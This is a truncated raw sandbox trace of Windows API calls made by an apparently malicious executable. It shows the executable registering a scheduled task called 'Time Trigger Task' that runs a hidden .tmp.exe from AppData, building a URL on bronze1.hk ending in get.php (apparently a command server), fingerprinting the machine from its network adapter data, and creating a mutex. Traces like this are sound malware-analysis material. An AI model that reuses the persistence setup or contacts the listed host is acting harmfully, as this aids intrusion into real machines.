lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0047.028] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x2a) returned 0x30806d8 [0047.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x30806d8, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0047.028] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x7bcbc0, Size=0x8c) returned 0x3036ff8 [0047.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0047.028] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x12) returned 0x3070860 [0047.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x3070860, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0047.028] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x3036ff8, Size=0x90) returned 0x3036ff8 [0047.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0047.028] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x18) returned 0x3070820 [0047.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x3070820, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0047.028] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x3036ff8, Size=0x94) returned 0x301a9a0 [0047.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0047.028] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x46) returned 0x30b9cb0 [0047.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x30b9cb0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0047.028] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x301a9a0, Size=0x98) returned 0x301a9a0 [0047.028] GetTimeZoneInformation (in: lpTimeZoneInformation=0x45d3e0 | out: lpTimeZoneInformation=0x45d3e0) returned 0x1 [0047.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x45bd20, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18bb0c | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18bb0c) returned 26 [0047.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x45bd60, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18bb0c | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18bb0c) returned 26 [0047.030] ITrigger:put_StartBoundary (This=0x2750c00, StartBoundary="2019-07-14T01:57:53") returned 0x0 [0047.030] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x308c300 | out: hHeap=0x6d0000) returned 1 [0047.030] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3094ff0 | out: hHeap=0x6d0000) returned 1 [0047.030] IUnknown:Release (This=0x2750c00) returned 0x1 [0047.030] ITaskDefinition:get_Actions (in: This=0x2750950, ppActions=0x18c0d8 | out: ppActions=0x18c0d8*=0x27509c8) returned 0x0 [0047.030] IActionCollection:Create (in: This=0x27509c8, Type=0, ppAction=0x18c0c4 | out: ppAction=0x18c0c4*=0x2750c98) returned 0x0 [0047.030] IUnknown:Release (This=0x27509c8) returned 0x1 [0047.030] IUnknown:QueryInterface (in: This=0x2750c98, riid=0x45007c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18c0e0 | out: ppvObject=0x18c0e0*=0x2750c98) returned 0x0 [0047.031] IUnknown:Release (This=0x2750c98) returned 0x2 [0047.031] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xc) returned 0x308c300 [0047.031] IExecAction:put_Path (This=0x2750c98, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned 0x0 [0047.031] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x308c300 | out: hHeap=0x6d0000) returned 1 [0047.031] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xc) returned 0x308c300 [0047.031] IExecAction:put_Arguments (This=0x2750c98, Arguments="--Task") returned 0x0 [0047.031] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x308c300 | out: hHeap=0x6d0000) returned 1 [0047.031] IUnknown:Release (This=0x2750c98) returned 0x1 [0047.031] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xc) returned 0x308c300 [0047.031] ITaskFolder:RegisterTaskDefinition (in: This=0x2750920, Path="Time Trigger Task", pDefinition=0x2750950, flags=6, UserId=0x18bb80*(varType=0x0, wReserved1=0x30a, wReserved2=0xc094, wReserved3=0x18, varVal1=0x41720b, varVal2=0x6d0000), password=0x18bb90*(varType=0x0, wReserved1=0x0, wReserved2=0x130, wReserved3=0x0, varVal1=0x97, varVal2=0x7), LogonType=3, sddl=0x18bba4*(varType=0x8, wReserved1=0x0, wReserved2=0x3, wReserved3=0x0, varVal1="", varVal2=0x138), ppTask=0x18c0ac | out: ppTask=0x18c0ac*=0x2750d18) returned 0x0 [0047.086] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x308c300 | out: hHeap=0x6d0000) returned 1 [0047.086] TaskScheduler:IUnknown:Release (This=0x2750920) returned 0x0 [0047.086] TaskScheduler:IUnknown:Release (This=0x2750950) returned 0x0 [0047.086] IUnknown:Release (This=0x2750d18) returned 0x0 [0047.086] CoUninitialize () [0047.086] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3073d10 | out: hHeap=0x6d0000) returned 1 [0047.086] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3065ba0 | out: hHeap=0x6d0000) returned 1 [0047.087] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x305b290 | out: hHeap=0x6d0000) returned 1 [0047.087] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x7b1df8 [0047.087] OpenServiceW (hSCManager=0x7b1df8, lpServiceName="MYSQL", dwDesiredAccess=0x20) returned 0x0 [0047.087] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x3093dc0 [0047.087] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30a35b8 [0047.087] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30a2f18 [0047.087] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30a3a58 [0047.087] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30a3cc0 [0047.087] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30947c0 [0047.087] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x3094a28 [0047.087] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30ad7e8 [0047.087] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30ada50 [0047.087] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30adcb8 [0047.087] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30adf20 [0047.087] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30ae188 [0047.088] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30ae3f0 [0047.088] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30ae658 [0047.088] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30ae8c0 [0047.088] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30aeb28 [0047.088] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30aed90 [0047.088] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xa0) returned 0x2fd0670 [0047.088] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x120) returned 0x30a3180 [0047.088] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x2fd0670 | out: hHeap=0x6d0000) returned 1 [0047.088] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x120) returned 0x305b290 [0047.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414280, lpParameter=0x7b34c0, dwCreationFlags=0x0, lpThreadId=0x45d9b8 | out: lpThreadId=0x45d9b8*=0xaf4) returned 0x5ac [0047.306] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30a3180 | out: hHeap=0x6d0000) returned 1 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x28) returned 0x30bea40 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30aeff8 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30af260 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30af4c8 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30af730 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30af998 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30afc00 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30afe68 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30b00d0 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30b0338 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30b05a0 [0047.306] lstrlenA (lpString="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned 66 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x86) returned 0x7bcbc0 [0047.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30aeff8, cbMultiByte=-1, lpWideCharStr=0x7bcbc0, cchWideChar=67 | out: lpWideCharStr="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned 67 [0047.306] lstrcatW (in: lpString1="", lpString2="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0047.306] lstrlenA (lpString="") returned 0 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x2) returned 0x3034720 [0047.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30af260, cbMultiByte=-1, lpWideCharStr=0x3034720, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0047.306] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0047.306] lstrlenA (lpString="") returned 0 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x2) returned 0x3034750 [0047.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30af4c8, cbMultiByte=-1, lpWideCharStr=0x3034750, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0047.306] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0047.306] lstrlenA (lpString="") returned 0 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x2) returned 0x3034740 [0047.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30af730, cbMultiByte=-1, lpWideCharStr=0x3034740, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0047.306] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0047.306] lstrlenA (lpString="") returned 0 [0047.306] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x2) returned 0x30347c0 [0047.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30af998, cbMultiByte=-1, lpWideCharStr=0x30347c0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0047.307] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0047.307] lstrlenA (lpString="") returned 0 [0047.307] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x2) returned 0x3034780 [0047.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30afc00, cbMultiByte=-1, lpWideCharStr=0x3034780, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0047.307] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0047.307] lstrlenA (lpString="") returned 0 [0047.307] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x2) returned 0x3034770 [0047.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30afe68, cbMultiByte=-1, lpWideCharStr=0x3034770, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0047.307] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0047.307] lstrlenA (lpString="") returned 0 [0047.307] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x2) returned 0x3034790 [0047.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30b00d0, cbMultiByte=-1, lpWideCharStr=0x3034790, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0047.307] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0047.307] lstrlenA (lpString="") returned 0 [0047.307] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x2) returned 0x30347a0 [0047.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30b0338, cbMultiByte=-1, lpWideCharStr=0x30347a0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0047.307] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0047.307] lstrlenA (lpString="") returned 0 [0047.307] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x2) returned 0x30347b0 [0047.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30b05a0, cbMultiByte=-1, lpWideCharStr=0x30347b0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0047.307] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0047.307] lstrlenW (lpString="") returned 0 [0047.307] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x12) returned 0x3070840 [0047.307] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x288) returned 0x3094c90 [0047.307] GetAdaptersInfo (in: AdapterInfo=0x3094c90, SizePointer=0x18c0c4 | out: AdapterInfo=0x3094c90, SizePointer=0x18c0c4) returned 0x0 [0047.323] GetAdaptersInfo (in: AdapterInfo=0x3094c90, SizePointer=0x18c0c4 | out: AdapterInfo=0x3094c90, SizePointer=0x18c0c4) returned 0x0 [0047.325] GetLastError () returned 0x0 [0047.325] GetLastError () returned 0x0 [0047.325] CryptAcquireContextW (in: phProv=0x18c094, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18c094*=0x7aef78) returned 1 [0047.326] CryptCreateHash (in: hProv=0x7aef78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18c09c | out: phHash=0x18c09c) returned 1 [0047.326] CryptHashData (hHash=0x30badb0, pbData=0x30d5fe8, dwDataLen=0x11, dwFlags=0x0) returned 1 [0047.326] CryptGetHashParam (in: hHash=0x30badb0, dwParam=0x2, pbData=0x0, pdwDataLen=0x18c098, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18c098) returned 1 [0047.326] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x11) returned 0x3070ac0 [0047.326] CryptGetHashParam (in: hHash=0x30badb0, dwParam=0x2, pbData=0x3070ac0, pdwDataLen=0x18c098, dwFlags=0x0 | out: pbData=0x3070ac0, pdwDataLen=0x18c098) returned 1 [0047.326] GetLastError () returned 0x0 [0047.326] CryptDestroyHash (hHash=0x30badb0) returned 1 [0047.326] CryptReleaseContext (hProv=0x7aef78, dwFlags=0x0) returned 1 [0047.326] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d5fe8 | out: hHeap=0x6d0000) returned 1 [0047.326] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x30) returned 0x3080978 [0047.326] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3080710 | out: hHeap=0x6d0000) returned 1 [0047.326] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x7b1e98 | out: hHeap=0x6d0000) returned 1 [0047.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414d40, lpParameter=0x45d9d0, dwCreationFlags=0x0, lpThreadId=0x45d9bc | out: lpThreadId=0x45d9bc*=0xaf8) returned 0x5cc [0047.536] WaitForSingleObject (hHandle=0x5cc, dwMilliseconds=0xffffffff) returned 0x0 [0048.618] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x5c8 [0048.618] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x28) returned 0x30beaa0 [0048.618] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30b0808 [0048.618] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30b0a70 [0048.618] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30b0cd8 [0048.618] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30b0f40 [0048.618] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30b11a8 [0048.618] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30b1410 [0048.618] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30beff0 [0048.618] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30bf258 [0048.618] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30bf4c0 [0048.618] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30bf728 [0048.618] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x60) returned 0x2fd4fd0 [0048.618] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x428) returned 0x30d15b0 [0048.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI", cchWideChar=-1, lpMultiByteStr=0x30d15b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI", lpUsedDefaultChar=0x0) returned 41 [0048.618] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x430) returned 0x3094c90 [0048.619] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d15b0 | out: hHeap=0x6d0000) returned 1 [0048.619] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x2fd4fd0 | out: hHeap=0x6d0000) returned 1 [0048.619] CryptAcquireContextW (in: phProv=0x18c104, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18c104*=0x7aef78) returned 1 [0048.619] CryptCreateHash (in: hProv=0x7aef78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18c108 | out: phHash=0x18c108) returned 1 [0048.619] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI") returned 40 [0048.619] CryptHashData (hHash=0x30bae30, pbData=0x3094c90, dwDataLen=0x28, dwFlags=0x0) returned 1 [0048.619] CryptGetHashParam (in: hHash=0x30bae30, dwParam=0x2, pbData=0x0, pdwDataLen=0x18c10c, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18c10c) returned 1 [0048.619] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x11) returned 0x30708a0 [0048.619] CryptGetHashParam (in: hHash=0x30bae30, dwParam=0x2, pbData=0x30708a0, pdwDataLen=0x18c10c, dwFlags=0x0 | out: pbData=0x30708a0, pdwDataLen=0x18c10c) returned 1 [0048.619] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x34) returned 0x30bae70 [0048.619] GetLastError () returned 0x0 [0048.620] lstrcatA (in: lpString1="", lpString2="E7" | out: lpString1="E7") returned="E7" [0048.620] GetLastError () returned 0x0 [0048.620] lstrcatA (in: lpString1="E7", lpString2="07" | out: lpString1="E707") returned="E707" [0048.620] GetLastError () returned 0x0 [0048.620] lstrcatA (in: lpString1="E707", lpString2="66" | out: lpString1="E70766") returned="E70766" [0048.620] GetLastError () returned 0x0 [0048.620] lstrcatA (in: lpString1="E70766", lpString2="78" | out: lpString1="E7076678") returned="E7076678" [0048.620] GetLastError () returned 0x0 [0048.620] lstrcatA (in: lpString1="E7076678", lpString2="1A" | out: lpString1="E70766781A") returned="E70766781A" [0048.620] GetLastError () returned 0x0 [0048.620] lstrcatA (in: lpString1="E70766781A", lpString2="80" | out: lpString1="E70766781A80") returned="E70766781A80" [0048.620] GetLastError () returned 0x0 [0048.620] lstrcatA (in: lpString1="E70766781A80", lpString2="05" | out: lpString1="E70766781A8005") returned="E70766781A8005" [0048.620] GetLastError () returned 0x0 [0048.620] lstrcatA (in: lpString1="E70766781A8005", lpString2="44" | out: lpString1="E70766781A800544") returned="E70766781A800544" [0048.620] GetLastError () returned 0x0 [0048.620] lstrcatA (in: lpString1="E70766781A800544", lpString2="C4" | out: lpString1="E70766781A800544C4") returned="E70766781A800544C4" [0048.620] GetLastError () returned 0x0 [0048.620] lstrcatA (in: lpString1="E70766781A800544C4", lpString2="FC" | out: lpString1="E70766781A800544C4FC") returned="E70766781A800544C4FC" [0048.620] GetLastError () returned 0x0 [0048.620] lstrcatA (in: lpString1="E70766781A800544C4FC", lpString2="34" | out: lpString1="E70766781A800544C4FC34") returned="E70766781A800544C4FC34" [0048.620] GetLastError () returned 0x0 [0048.620] lstrcatA (in: lpString1="E70766781A800544C4FC34", lpString2="55" | out: lpString1="E70766781A800544C4FC3455") returned="E70766781A800544C4FC3455" [0048.620] GetLastError () returned 0x0 [0048.620] lstrcatA (in: lpString1="E70766781A800544C4FC3455", lpString2="68" | out: lpString1="E70766781A800544C4FC345568") returned="E70766781A800544C4FC345568" [0048.620] GetLastError () returned 0x0 [0048.620] lstrcatA (in: lpString1="E70766781A800544C4FC345568", lpString2="D4" | out: lpString1="E70766781A800544C4FC345568D4") returned="E70766781A800544C4FC345568D4" [0048.620] GetLastError () returned 0x0 [0048.620] lstrcatA (in: lpString1="E70766781A800544C4FC345568D4", lpString2="CD" | out: lpString1="E70766781A800544C4FC345568D4CD") returned="E70766781A800544C4FC345568D4CD" [0048.620] GetLastError () returned 0x0 [0048.621] lstrcatA (in: lpString1="E70766781A800544C4FC345568D4CD", lpString2="E1" | out: lpString1="E70766781A800544C4FC345568D4CDE1") returned="E70766781A800544C4FC345568D4CDE1" [0048.621] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30708a0 | out: hHeap=0x6d0000) returned 1 [0048.621] CryptDestroyHash (hHash=0x30bae30) returned 1 [0048.621] CryptReleaseContext (hProv=0x7aef78, dwFlags=0x0) returned 1 [0048.621] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3094c90 | out: hHeap=0x6d0000) returned 1 [0048.621] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x60) returned 0x2fd4fd0 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x28) returned 0x30bead0 [0048.621] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30bf990 [0048.621] RtlAllocateHeap 